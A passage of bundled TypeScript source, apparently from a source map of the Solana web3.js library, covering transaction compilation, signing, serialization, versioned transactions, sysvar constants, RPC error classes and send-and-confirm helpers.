accountMetas: AccountMeta[] = [];\n instructions.forEach(instruction => {\n instruction.keys.forEach(accountMeta => {\n accountMetas.push({...accountMeta});\n });\n\n const programId = instruction.programId.toString();\n if (!programIds.includes(programId)) {\n programIds.push(programId);\n }\n });\n\n // Append programID account metas\n programIds.forEach(programId => {\n accountMetas.push({\n pubkey: new PublicKey(programId),\n isSigner: false,\n isWritable: false,\n });\n });\n\n // Cull duplicate account metas\n const uniqueMetas: AccountMeta[] = [];\n accountMetas.forEach(accountMeta => {\n const pubkeyString = accountMeta.pubkey.toString();\n const uniqueIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.toString() === pubkeyString;\n });\n if (uniqueIndex > -1) {\n uniqueMetas[uniqueIndex].isWritable =\n uniqueMetas[uniqueIndex].isWritable || accountMeta.isWritable;\n uniqueMetas[uniqueIndex].isSigner =\n uniqueMetas[uniqueIndex].isSigner || accountMeta.isSigner;\n } else {\n uniqueMetas.push(accountMeta);\n }\n });\n\n // Sort. Prioritizing first by signer, then by writable\n uniqueMetas.sort(function (x, y) {\n if (x.isSigner !== y.isSigner) {\n // Signers always come before non-signers\n return x.isSigner ? -1 : 1;\n }\n if (x.isWritable !== y.isWritable) {\n // Writable accounts always come before read-only accounts\n return x.isWritable ? -1 : 1;\n }\n // Otherwise, sort by pubkey, stringwise.\n const options = {\n localeMatcher: 'best fit',\n usage: 'sort',\n sensitivity: 'variant',\n ignorePunctuation: false,\n numeric: false,\n caseFirst: 'lower',\n } as Intl.CollatorOptions;\n return x.pubkey\n .toBase58()\n .localeCompare(y.pubkey.toBase58(), 'en', options);\n });\n\n // Move fee payer to the front\n const feePayerIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.equals(feePayer);\n });\n if (feePayerIndex > -1) {\n const [payerMeta] = uniqueMetas.splice(feePayerIndex, 1);\n payerMeta.isSigner = true;\n payerMeta.isWritable = true;\n uniqueMetas.unshift(payerMeta);\n } else {\n uniqueMetas.unshift({\n pubkey: feePayer,\n isSigner: true,\n isWritable: true,\n });\n }\n\n // Disallow unknown signers\n for (const signature of this.signatures) {\n const uniqueIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.equals(signature.publicKey);\n });\n if (uniqueIndex > -1) {\n if (!uniqueMetas[uniqueIndex].isSigner) {\n uniqueMetas[uniqueIndex].isSigner = true;\n console.warn(\n 'Transaction references a signature that is unnecessary, ' +\n 'only the fee payer and instruction signer accounts should sign a transaction. ' +\n 'This behavior is deprecated and will throw an error in the next major version release.',\n );\n }\n } else {\n throw new Error(`unknown signer: ${signature.publicKey.toString()}`);\n }\n }\n\n let numRequiredSignatures = 0;\n let numReadonlySignedAccounts = 0;\n let numReadonlyUnsignedAccounts = 0;\n\n // Split out signing from non-signing keys and count header values\n const signedKeys: string[] = [];\n const unsignedKeys: string[] = [];\n uniqueMetas.forEach(({pubkey, isSigner, isWritable}) => {\n if (isSigner) {\n signedKeys.push(pubkey.toString());\n numRequiredSignatures += 1;\n if (!isWritable) {\n numReadonlySignedAccounts += 1;\n }\n } else {\n unsignedKeys.push(pubkey.toString());\n if (!isWritable) {\n numReadonlyUnsignedAccounts += 1;\n }\n }\n });\n\n const accountKeys = signedKeys.concat(unsignedKeys);\n const compiledInstructions: CompiledInstruction[] = instructions.map(\n instruction => {\n const {data, programId} = instruction;\n return {\n programIdIndex: accountKeys.indexOf(programId.toString()),\n accounts: instruction.keys.map(meta =>\n accountKeys.indexOf(meta.pubkey.toString()),\n ),\n data: bs58.encode(data),\n };\n },\n );\n\n compiledInstructions.forEach(instruction => {\n invariant(instruction.programIdIndex >= 0);\n instruction.accounts.forEach(keyIndex => invariant(keyIndex >= 0));\n });\n\n return new Message({\n header: {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n },\n accountKeys,\n recentBlockhash,\n instructions: compiledInstructions,\n });\n }\n\n /**\n * @internal\n */\n _compile(): Message {\n const message = this.compileMessage();\n const signedKeys = message.accountKeys.slice(\n 0,\n message.header.numRequiredSignatures,\n );\n\n if (this.signatures.length === signedKeys.length) {\n const valid = this.signatures.every((pair, index) => {\n return signedKeys[index].equals(pair.publicKey);\n });\n\n if (valid) return message;\n }\n\n this.signatures = signedKeys.map(publicKey => ({\n signature: null,\n publicKey,\n }));\n\n return message;\n }\n\n /**\n * Get a buffer of the Transaction data that need to be covered by signatures\n */\n serializeMessage(): Buffer {\n return this._compile().serialize();\n }\n\n /**\n * Get the estimated fee associated with a transaction\n *\n * @param {Connection} connection Connection to RPC Endpoint.\n *\n * @returns {Promise<number | null>} The estimated fee for the transaction\n */\n async getEstimatedFee(connection: Connection): Promise<number | null> {\n return (await connection.getFeeForMessage(this.compileMessage())).value;\n }\n\n /**\n * Specify the public keys which will be used to sign the Transaction.\n * The first signer will be used as the transaction fee payer account.\n *\n * Signatures can be added with either `partialSign` or `addSignature`\n *\n * @deprecated Deprecated since v0.84.0. Only the fee payer needs to be\n * specified and it can be set in the Transaction constructor or with the\n * `feePayer` property.\n */\n setSigners(...signers: Array<PublicKey>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n const seen = new Set();\n this.signatures = signers\n .filter(publicKey => {\n const key = publicKey.toString();\n if (seen.has(key)) {\n return false;\n } else {\n seen.add(key);\n return true;\n }\n })\n .map(publicKey => ({signature: null, publicKey}));\n }\n\n /**\n * Sign the Transaction with the specified signers. Multiple signatures may\n * be applied to a Transaction. The first signature is considered \"primary\"\n * and is used identify and confirm transactions.\n *\n * If the Transaction `feePayer` is not set, the first signer will be used\n * as the transaction fee payer account.\n *\n * Transaction fields should not be modified after the first call to `sign`,\n * as doing so may invalidate the signature and cause the Transaction to be\n * rejected.\n *\n * The Transaction must be assigned a valid `recentBlockhash` before invoking this method\n *\n * @param {Array<Signer>} signers Array of signers that will sign the transaction\n */\n sign(...signers: Array<Signer>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n // Dedupe signers\n const seen = new Set();\n const uniqueSigners = [];\n for (const signer of signers) {\n const key = signer.publicKey.toString();\n if (seen.has(key)) {\n continue;\n } else {\n seen.add(key);\n uniqueSigners.push(signer);\n }\n }\n\n this.signatures = uniqueSigners.map(signer => ({\n signature: null,\n publicKey: signer.publicKey,\n }));\n\n const message = this._compile();\n this._partialSign(message, ...uniqueSigners);\n }\n\n /**\n * Partially sign a transaction with the specified accounts. All accounts must\n * correspond to either the fee payer or a signer account in the transaction\n * instructions.\n *\n * All the caveats from the `sign` method apply to `partialSign`\n *\n * @param {Array<Signer>} signers Array of signers that will sign the transaction\n */\n partialSign(...signers: Array<Signer>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n // Dedupe signers\n const seen = new Set();\n const uniqueSigners = [];\n for (const signer of signers) {\n const key = signer.publicKey.toString();\n if (seen.has(key)) {\n continue;\n } else {\n seen.add(key);\n uniqueSigners.push(signer);\n }\n }\n\n const message = this._compile();\n this._partialSign(message, ...uniqueSigners);\n }\n\n /**\n * @internal\n */\n _partialSign(message: Message, ...signers: Array<Signer>) {\n const signData = message.serialize();\n signers.forEach(signer => {\n const signature = sign(signData, signer.secretKey);\n this._addSignature(signer.publicKey, toBuffer(signature));\n });\n }\n\n /**\n * Add an externally created signature to a transaction. The public key\n * must correspond to either the fee payer or a signer account in the transaction\n * instructions.\n *\n * @param {PublicKey} pubkey Public key that will be added to the transaction.\n * @param {Buffer} signature An externally created signature to add to the transaction.\n */\n addSignature(pubkey: PublicKey, signature: Buffer) {\n this._compile(); // Ensure signatures array is populated\n this._addSignature(pubkey, signature);\n }\n\n /**\n * @internal\n */\n _addSignature(pubkey: PublicKey, signature: Buffer) {\n invariant(signature.length === 64);\n\n const index = this.signatures.findIndex(sigpair =>\n pubkey.equals(sigpair.publicKey),\n );\n if (index < 0) {\n throw new Error(`unknown signer: ${pubkey.toString()}`);\n }\n\n this.signatures[index].signature = Buffer.from(signature);\n }\n\n /**\n * Verify signatures of a Transaction\n * Optional parameter specifies if we're expecting a fully signed Transaction or a partially signed one.\n * If no boolean is provided, we expect a fully signed Transaction by default.\n *\n * @param {boolean} [requireAllSignatures=true] Require a fully signed Transaction\n */\n verifySignatures(requireAllSignatures: boolean = true): boolean {\n const signatureErrors = this._getMessageSignednessErrors(\n this.serializeMessage(),\n requireAllSignatures,\n );\n return !signatureErrors;\n }\n\n /**\n * @internal\n */\n _getMessageSignednessErrors(\n message: Uint8Array,\n requireAllSignatures: boolean,\n ): MessageSignednessErrors | undefined {\n const errors: MessageSignednessErrors = {};\n for (const {signature, publicKey} of this.signatures) {\n if (signature === null) {\n if (requireAllSignatures) {\n (errors.missing ||= []).push(publicKey);\n }\n } else {\n if (!verify(signature, message, publicKey.toBytes())) {\n (errors.invalid ||= []).push(publicKey);\n }\n }\n }\n return errors.invalid || errors.missing ? errors : undefined;\n }\n\n /**\n * Serialize the Transaction in the wire format.\n *\n * @param {Buffer} [config] Config of transaction.\n *\n * @returns {Buffer} Signature of transaction in wire format.\n */\n serialize(config?: SerializeConfig): Buffer {\n const {requireAllSignatures, verifySignatures} = Object.assign(\n {requireAllSignatures: true, verifySignatures: true},\n config,\n );\n\n const signData = this.serializeMessage();\n if (verifySignatures) {\n const sigErrors = this._getMessageSignednessErrors(\n signData,\n requireAllSignatures,\n );\n if (sigErrors) {\n let errorMessage = 'Signature verification failed.';\n if (sigErrors.invalid) {\n errorMessage += `\\nInvalid signature for public key${\n sigErrors.invalid.length === 1 ? '' : '(s)'\n } [\\`${sigErrors.invalid.map(p => p.toBase58()).join('`, `')}\\`].`;\n }\n if (sigErrors.missing) {\n errorMessage += `\\nMissing signature for public key${\n sigErrors.missing.length === 1 ? '' : '(s)'\n } [\\`${sigErrors.missing.map(p => p.toBase58()).join('`, `')}\\`].`;\n }\n throw new Error(errorMessage);\n }\n }\n\n return this._serialize(signData);\n }\n\n /**\n * @internal\n */\n _serialize(signData: Buffer): Buffer {\n const {signatures} = this;\n const signatureCount: number[] = [];\n shortvec.encodeLength(signatureCount, signatures.length);\n const transactionLength =\n signatureCount.length + signatures.length * 64 + signData.length;\n const wireTransaction = Buffer.alloc(transactionLength);\n invariant(signatures.length < 256);\n Buffer.from(signatureCount).copy(wireTransaction, 0);\n signatures.forEach(({signature}, index) => {\n if (signature !== null) {\n invariant(signature.length === 64, `signature has invalid length`);\n Buffer.from(signature).copy(\n wireTransaction,\n signatureCount.length + index * 64,\n );\n }\n });\n signData.copy(\n wireTransaction,\n signatureCount.length + signatures.length * 64,\n );\n invariant(\n wireTransaction.length <= PACKET_DATA_SIZE,\n `Transaction too large: ${wireTransaction.length} > ${PACKET_DATA_SIZE}`,\n );\n return wireTransaction;\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get keys(): Array<PublicKey> {\n invariant(this.instructions.length === 1);\n return this.instructions[0].keys.map(keyObj => keyObj.pubkey);\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get programId(): PublicKey {\n invariant(this.instructions.length === 1);\n return this.instructions[0].programId;\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get data(): Buffer {\n invariant(this.instructions.length === 1);\n return this.instructions[0].data;\n }\n\n /**\n * Parse a wire transaction into a Transaction object.\n *\n * @param {Buffer | Uint8Array | Array<number>} buffer Signature of wire Transaction\n *\n * @returns {Transaction} Transaction associated with the signature\n */\n static from(buffer: Buffer | Uint8Array | Array<number>): Transaction {\n // Slice up wire data\n let byteArray = [...buffer];\n\n const signatureCount = shortvec.decodeLength(byteArray);\n let signatures = [];\n for (let i = 0; i < signatureCount; i++) {\n const signature = guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES);\n signatures.push(bs58.encode(Buffer.from(signature)));\n }\n\n return Transaction.populate(Message.from(byteArray), signatures);\n }\n\n /**\n * Populate Transaction object from message and signatures\n *\n * @param {Message} message Message of transaction\n * @param {Array<string>} signatures List of signatures to assign to the transaction\n *\n * @returns {Transaction} The populated Transaction\n */\n static populate(\n message: Message,\n signatures: Array<string> = [],\n ): Transaction {\n const transaction = new Transaction();\n transaction.recentBlockhash = message.recentBlockhash;\n if (message.header.numRequiredSignatures > 0) {\n transaction.feePayer = message.accountKeys[0];\n }\n signatures.forEach((signature, index) => {\n const sigPubkeyPair = {\n signature:\n signature == bs58.encode(DEFAULT_SIGNATURE)\n ? null\n : bs58.decode(signature),\n publicKey: message.accountKeys[index],\n };\n transaction.signatures.push(sigPubkeyPair);\n });\n\n message.instructions.forEach(instruction => {\n const keys = instruction.accounts.map(account => {\n const pubkey = message.accountKeys[account];\n return {\n pubkey,\n isSigner:\n transaction.signatures.some(\n keyObj => keyObj.publicKey.toString() === pubkey.toString(),\n ) || message.isAccountSigner(account),\n isWritable: message.isAccountWritable(account),\n };\n });\n\n transaction.instructions.push(\n new TransactionInstruction({\n keys,\n programId: message.accountKeys[instruction.programIdIndex],\n data: bs58.decode(instruction.data),\n }),\n );\n });\n\n transaction._message = message;\n transaction._json = transaction.toJSON();\n\n return transaction;\n }\n}\n","import {AccountKeysFromLookups} from '../message/account-keys';\nimport assert from '../utils/assert';\nimport {toBuffer} from '../utils/to-buffer';\nimport {Blockhash} from '../blockhash';\nimport {Message, MessageV0, VersionedMessage} from '../message';\nimport {PublicKey} from '../publickey';\nimport {AddressLookupTableAccount} from '../programs';\nimport {AccountMeta, TransactionInstruction} from './legacy';\n\nexport type TransactionMessageArgs = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n};\n\nexport type DecompileArgs =\n | {\n accountKeysFromLookups: AccountKeysFromLookups;\n }\n | {\n addressLookupTableAccounts: AddressLookupTableAccount[];\n };\n\nexport class TransactionMessage {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n\n constructor(args: TransactionMessageArgs) {\n this.payerKey = args.payerKey;\n this.instructions = args.instructions;\n this.recentBlockhash = args.recentBlockhash;\n }\n\n static decompile(\n message: VersionedMessage,\n args?: DecompileArgs,\n ): TransactionMessage {\n const {header, compiledInstructions, recentBlockhash} = message;\n\n const {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n } = header;\n\n const numWritableSignedAccounts =\n numRequiredSignatures - numReadonlySignedAccounts;\n assert(numWritableSignedAccounts > 0, 'Message header is invalid');\n\n const numWritableUnsignedAccounts =\n message.staticAccountKeys.length -\n numRequiredSignatures -\n numReadonlyUnsignedAccounts;\n assert(numWritableUnsignedAccounts >= 0, 'Message header is invalid');\n\n const accountKeys = message.getAccountKeys(args);\n const payerKey = accountKeys.get(0);\n if (payerKey === undefined) {\n throw new Error(\n 'Failed to decompile message because no account keys were found',\n );\n }\n\n const instructions: TransactionInstruction[] = [];\n for (const compiledIx of compiledInstructions) {\n const keys: AccountMeta[] = [];\n\n for (const keyIndex of compiledIx.accountKeyIndexes) {\n const pubkey = accountKeys.get(keyIndex);\n if (pubkey === undefined) {\n throw new Error(\n `Failed to find key for account key index ${keyIndex}`,\n );\n }\n\n const isSigner = keyIndex < numRequiredSignatures;\n\n let isWritable;\n if (isSigner) {\n isWritable = keyIndex < numWritableSignedAccounts;\n } else if (keyIndex < accountKeys.staticAccountKeys.length) {\n isWritable =\n keyIndex - numRequiredSignatures < numWritableUnsignedAccounts;\n } else {\n isWritable =\n keyIndex - accountKeys.staticAccountKeys.length <\n // accountKeysFromLookups cannot be undefined because we already found a pubkey for this index above\n accountKeys.accountKeysFromLookups!.writable.length;\n }\n\n keys.push({\n pubkey,\n isSigner: keyIndex < header.numRequiredSignatures,\n isWritable,\n });\n }\n\n const programId = accountKeys.get(compiledIx.programIdIndex);\n if (programId === undefined) {\n throw new Error(\n `Failed to find program id for program id index ${compiledIx.programIdIndex}`,\n );\n }\n\n instructions.push(\n new TransactionInstruction({\n programId,\n data: toBuffer(compiledIx.data),\n keys,\n }),\n );\n }\n\n return new TransactionMessage({\n payerKey,\n instructions,\n recentBlockhash,\n });\n }\n\n compileToLegacyMessage(): Message {\n return Message.compile({\n payerKey: this.payerKey,\n recentBlockhash: this.recentBlockhash,\n instructions: this.instructions,\n });\n }\n\n compileToV0Message(\n addressLookupTableAccounts?: AddressLookupTableAccount[],\n ): MessageV0 {\n return MessageV0.compile({\n payerKey: this.payerKey,\n recentBlockhash: this.recentBlockhash,\n instructions: this.instructions,\n addressLookupTableAccounts,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {Signer} from '../keypair';\nimport assert from '../utils/assert';\nimport {VersionedMessage} from '../message/versioned';\nimport {SIGNATURE_LENGTH_IN_BYTES} from './constants';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport * as Layout from '../layout';\nimport {sign} from '../utils/ed25519';\nimport {PublicKey} from '../publickey';\nimport {guardedSplice} from '../utils/guarded-array-utils';\n\nexport type TransactionVersion = 'legacy' | 0;\n\n/**\n * Versioned transaction class\n */\nexport class VersionedTransaction {\n signatures: Array<Uint8Array>;\n message: VersionedMessage;\n\n get version(): TransactionVersion {\n return this.message.version;\n }\n\n constructor(message: VersionedMessage, signatures?: Array<Uint8Array>) {\n if (signatures !== undefined) {\n assert(\n signatures.length === message.header.numRequiredSignatures,\n 'Expected signatures length to be equal to the number of required signatures',\n );\n this.signatures = signatures;\n } else {\n const defaultSignatures = [];\n for (let i = 0; i < message.header.numRequiredSignatures; i++) {\n defaultSignatures.push(new Uint8Array(SIGNATURE_LENGTH_IN_BYTES));\n }\n this.signatures = defaultSignatures;\n }\n this.message = message;\n }\n\n serialize(): Uint8Array {\n const serializedMessage = this.message.serialize();\n\n const encodedSignaturesLength = Array<number>();\n shortvec.encodeLength(encodedSignaturesLength, this.signatures.length);\n\n const transactionLayout = BufferLayout.struct<{\n encodedSignaturesLength: Uint8Array;\n signatures: Array<Uint8Array>;\n serializedMessage: Uint8Array;\n }>([\n BufferLayout.blob(\n encodedSignaturesLength.length,\n 'encodedSignaturesLength',\n ),\n BufferLayout.seq(\n Layout.signature(),\n this.signatures.length,\n 'signatures',\n ),\n BufferLayout.blob(serializedMessage.length, 'serializedMessage'),\n ]);\n\n const serializedTransaction = new Uint8Array(2048);\n const serializedTransactionLength = transactionLayout.encode(\n {\n encodedSignaturesLength: new Uint8Array(encodedSignaturesLength),\n signatures: this.signatures,\n serializedMessage,\n },\n serializedTransaction,\n );\n\n return serializedTransaction.slice(0, serializedTransactionLength);\n }\n\n static deserialize(serializedTransaction: Uint8Array): VersionedTransaction {\n let byteArray = [...serializedTransaction];\n\n const signatures = [];\n const signaturesLength = shortvec.decodeLength(byteArray);\n for (let i = 0; i < signaturesLength; i++) {\n signatures.push(\n new Uint8Array(guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES)),\n );\n }\n\n const message = VersionedMessage.deserialize(new Uint8Array(byteArray));\n return new VersionedTransaction(message, signatures);\n }\n\n sign(signers: Array<Signer>) {\n const messageData = this.message.serialize();\n const signerPubkeys = this.message.staticAccountKeys.slice(\n 0,\n this.message.header.numRequiredSignatures,\n );\n for (const signer of signers) {\n const signerIndex = signerPubkeys.findIndex(pubkey =>\n pubkey.equals(signer.publicKey),\n );\n assert(\n signerIndex >= 0,\n `Cannot sign with non signer key ${signer.publicKey.toBase58()}`,\n );\n this.signatures[signerIndex] = sign(messageData, signer.secretKey);\n }\n }\n\n addSignature(publicKey: PublicKey, signature: Uint8Array) {\n assert(signature.byteLength === 64, 'Signature must be 64 bytes long');\n const signerPubkeys = this.message.staticAccountKeys.slice(\n 0,\n this.message.header.numRequiredSignatures,\n );\n const signerIndex = signerPubkeys.findIndex(pubkey =>\n pubkey.equals(publicKey),\n );\n assert(\n signerIndex >= 0,\n `Can not add signature; \\`${publicKey.toBase58()}\\` is not required to sign this transaction`,\n );\n this.signatures[signerIndex] = signature;\n }\n}\n","// TODO: These constants should be removed in favor of reading them out of a\n// Syscall account\n\n/**\n * @internal\n */\nexport const NUM_TICKS_PER_SECOND = 160;\n\n/**\n * @internal\n */\nexport const DEFAULT_TICKS_PER_SLOT = 64;\n\n/**\n * @internal\n */\nexport const NUM_SLOTS_PER_SECOND =\n NUM_TICKS_PER_SECOND / DEFAULT_TICKS_PER_SLOT;\n\n/**\n * @internal\n */\nexport const MS_PER_SLOT = 1000 / NUM_SLOTS_PER_SECOND;\n","import {PublicKey} from './publickey';\n\nexport const SYSVAR_CLOCK_PUBKEY = new PublicKey(\n 'SysvarC1ock11111111111111111111111111111111',\n);\n\nexport const SYSVAR_EPOCH_SCHEDULE_PUBKEY = new PublicKey(\n 'SysvarEpochSchedu1e111111111111111111111111',\n);\n\nexport const SYSVAR_INSTRUCTIONS_PUBKEY = new PublicKey(\n 'Sysvar1nstructions1111111111111111111111111',\n);\n\nexport const SYSVAR_RECENT_BLOCKHASHES_PUBKEY = new PublicKey(\n 'SysvarRecentB1ockHashes11111111111111111111',\n);\n\nexport const SYSVAR_RENT_PUBKEY = new PublicKey(\n 'SysvarRent111111111111111111111111111111111',\n);\n\nexport const SYSVAR_REWARDS_PUBKEY = new PublicKey(\n 'SysvarRewards111111111111111111111111111111',\n);\n\nexport const SYSVAR_SLOT_HASHES_PUBKEY = new PublicKey(\n 'SysvarS1otHashes111111111111111111111111111',\n);\n\nexport const SYSVAR_SLOT_HISTORY_PUBKEY = new PublicKey(\n 'SysvarS1otHistory11111111111111111111111111',\n);\n\nexport const SYSVAR_STAKE_HISTORY_PUBKEY = new PublicKey(\n 'SysvarStakeHistory1111111111111111111111111',\n);\n","import {Connection} from './connection';\nimport {TransactionSignature} from './transaction';\n\nexport class SendTransactionError extends Error {\n private signature: TransactionSignature;\n private transactionMessage: string;\n private transactionLogs: string[] | Promise<string[]> | undefined;\n\n constructor({\n action,\n signature,\n transactionMessage,\n logs,\n }: {\n action: 'send' | 'simulate';\n signature: TransactionSignature;\n transactionMessage: string;\n logs?: string[];\n }) {\n const maybeLogsOutput = logs\n ? `Logs: \\n${JSON.stringify(logs.slice(-10), null, 2)}. `\n : '';\n const guideText =\n '\\nCatch the `SendTransactionError` and call `getLogs()` on it for full details.';\n let message: string;\n switch (action) {\n case 'send':\n message =\n `Transaction ${signature} resulted in an error. \\n` +\n `${transactionMessage}. ` +\n maybeLogsOutput +\n guideText;\n break;\n case 'simulate':\n message =\n `Simulation failed. \\nMessage: ${transactionMessage}. \\n` +\n maybeLogsOutput +\n guideText;\n break;\n default: {\n message = `Unknown action '${((a: never) => a)(action)}'`;\n }\n }\n super(message);\n\n this.signature = signature;\n this.transactionMessage = transactionMessage;\n this.transactionLogs = logs ? logs : undefined;\n }\n\n get transactionError(): {message: string; logs?: string[]} {\n return {\n message: this.transactionMessage,\n logs: Array.isArray(this.transactionLogs)\n ? this.transactionLogs\n : undefined,\n };\n }\n\n /* @deprecated Use `await getLogs()` instead */\n get logs(): string[] | undefined {\n const cachedLogs = this.transactionLogs;\n if (\n cachedLogs != null &&\n typeof cachedLogs === 'object' &&\n 'then' in cachedLogs\n ) {\n return undefined;\n }\n return cachedLogs;\n }\n\n async getLogs(connection: Connection): Promise<string[]> {\n if (!Array.isArray(this.transactionLogs)) {\n this.transactionLogs = new Promise((resolve, reject) => {\n connection\n .getTransaction(this.signature)\n .then(tx => {\n if (tx && tx.meta && tx.meta.logMessages) {\n const logs = tx.meta.logMessages;\n this.transactionLogs = logs;\n resolve(logs);\n } else {\n reject(new Error('Log messages not found'));\n }\n })\n .catch(reject);\n });\n }\n return await this.transactionLogs;\n }\n}\n\n// Keep in sync with client/src/rpc_custom_errors.rs\n// Typescript `enums` thwart tree-shaking. See https://bargsten.org/jsts/enums/\nexport const SolanaJSONRPCErrorCode = {\n JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP: -32001,\n JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE: -32002,\n JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE: -32003,\n JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE: -32004,\n JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY: -32005,\n JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE: -32006,\n JSON_RPC_SERVER_ERROR_SLOT_SKIPPED: -32007,\n JSON_RPC_SERVER_ERROR_NO_SNAPSHOT: -32008,\n JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED: -32009,\n JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX: -32010,\n JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE: -32011,\n JSON_RPC_SCAN_ERROR: -32012,\n JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH: -32013,\n JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET: -32014,\n JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION: -32015,\n JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED: -32016,\n} as const;\nexport type SolanaJSONRPCErrorCodeEnum =\n (typeof SolanaJSONRPCErrorCode)[keyof typeof SolanaJSONRPCErrorCode];\n\nexport class SolanaJSONRPCError extends Error {\n code: SolanaJSONRPCErrorCodeEnum | unknown;\n data?: any;\n constructor(\n {\n code,\n message,\n data,\n }: Readonly<{code: unknown; message: string; data?: any}>,\n customMessage?: string,\n ) {\n super(customMessage != null ? `${customMessage}: ${message}` : message);\n this.code = code;\n this.data = data;\n this.name = 'SolanaJSONRPCError';\n }\n}\n","import {Connection, SignatureResult} from '../connection';\nimport {Transaction} from '../transaction';\nimport type {ConfirmOptions} from '../connection';\nimport type {Signer} from '../keypair';\nimport type {TransactionSignature} from '../transaction';\nimport {SendTransactionError} from '../errors';\n\n/**\n * Sign, send and confirm a transaction.\n *\n * If `commitment` option is not specified, defaults to 'max' commitment.\n *\n * @param {Connection} connection\n * @param {Transaction} transaction\n * @param {Array<Signer>} signers\n * @param {ConfirmOptions} [options]\n * @returns {Promise<TransactionSignature>}\n */\nexport async function sendAndConfirmTransaction(\n connection: Connection,\n transaction: Transaction,\n signers: Array<Signer>,\n options?: ConfirmOptions &\n Readonly<{\n // A signal that, when aborted, cancels any outstanding transaction confirmation operations\n abortSignal?: AbortSignal;\n }>,\n): Promise<TransactionSignature> {\n const sendOptions = options && {\n skipPreflight: options.skipPreflight,\n preflightCommitment: options.preflightCommitment || options.commitment,\n maxRetries: options.maxRetries,\n minContextSlot: options.minContextSlot,\n };\n\n const signature = await connection.sendTransaction(\n transaction,\n signers,\n sendOptions,\n );\n\n let status: SignatureResult;\n if (\n transaction.recentBlockhash != null &&\n transaction.lastValidBlockHeight != null\n ) {\n status = (\n await connection.confirmTransaction(\n {\n abortSignal: options?.abortSignal,\n signature: signature,\n blockhash: transaction.recentBlockhash,\n lastValidBlockHeight: transaction.lastValidBlockHeight,\n },\n options && options.commitment,\n )\n ).value;\n } else if (\n transaction.minNonceContextSlot != null &&\n transaction.nonceInfo != null\n ) {\n const {nonceInstruction} = transaction.nonceInfo;\n const nonceAccountPubkey = nonceInstruction.keys[0].pubkey;\n status = (\n await connection.confirmTransaction(\n {\n abortSignal: options?.abortSignal,\n minContextSlot: transaction.minNonceContextSlot,\n nonceAccountPubkey,\n nonceValue: transaction.nonceInfo.nonce,\n signature,\n },\n options && options.commitment,\n )\n ).value;\n } else {\n if (options?.abortSignal != null) {\n console.warn(\n 'sendAndConfirmTransaction(): A transaction with a deprecated confirmation strategy was ' +\n 'supplied along with an `abortSignal`. Only transactions having `lastValidBlockHeight` ' +\n 'or a combination of `nonceInfo` and `minNonceContextSlot` are abortable.',\n );\n }\n status = (\n await connection.confirmTransaction(\n signature,\n options && options.commitment,\n )\n ).value;\n }\n\n if (status.err) {\n if (signature != null) {\n throw new SendTransactionError({\n action: 'send',\n signature: signature,\n transactionMessage: `Status: (${JSON.stringify(status)})`,\n });\n }\n throw new Error(\n `Transaction ${signature} failed (${JSON.stringify(status)})`,\n );\n }\n\n return signature;\n}\n","// zzz\nexport function sleep(ms: number): Promise<void> {\n return new Promise(resolve => setTimeout(resolve, ms));\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from './layout';\n\nexport interface IInstructionInputData {\n readonly instruction: number;\n}\n\n/**\n * @internal\n */\nexport type InstructionType<TInputData extends IInstructionInputData> = {\n /** The Instruction index (from solana upstream program) */\n index: number;\n /** The BufferLayout to use to build data */\n layout: BufferLayout.Layout<TInputData>;\n};\n\n/**\n * Populate a buffer of instruction data using an InstructionType\n * @internal\n */\nexport function encodeData<TInputData extends IInstructionInputData>(\n type: InstructionType<TInputData>,\n fields?: any,\n): Buffer {\n const allocLength =\n type.layout.span >= 0 ? type.layout.span : Layout.getAlloc(type, fields);\n const data = Buffer.alloc(allocLength);\n const layoutFields = Object.assign({instruction: type.index}, fields);\n type.layout.encode(layoutFields, data);\n return data;\n}\n\n/**\n * Decode instruction data buffer using an InstructionType\n * @internal\n */\nexport function decodeData<TInputData extends IInstructionInputData>(\n type: InstructionType<TInputData>,\n buffer: Buffer,\n): TInputData {\n let data: TInputData;\n try {\n data = type.layout.decode(buffer);\n } catch (err) {\n throw new Error('invalid instruction; ' + err);\n }\n\n if (data.instruction !== type.index) {\n throw new Error(\n `invalid instruction; instruction index mismatch ${data.instruction} != ${type.index}`,\n );\n }\n\n return data;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\n/**\n * https://github.com/solana-labs/solana/blob/90bedd7e067b5b8f3ddbb45da00a4e9cabb22c62/sdk/src/fee_calculator.rs#L7-L11\n *\n * @internal\n */\nexport const 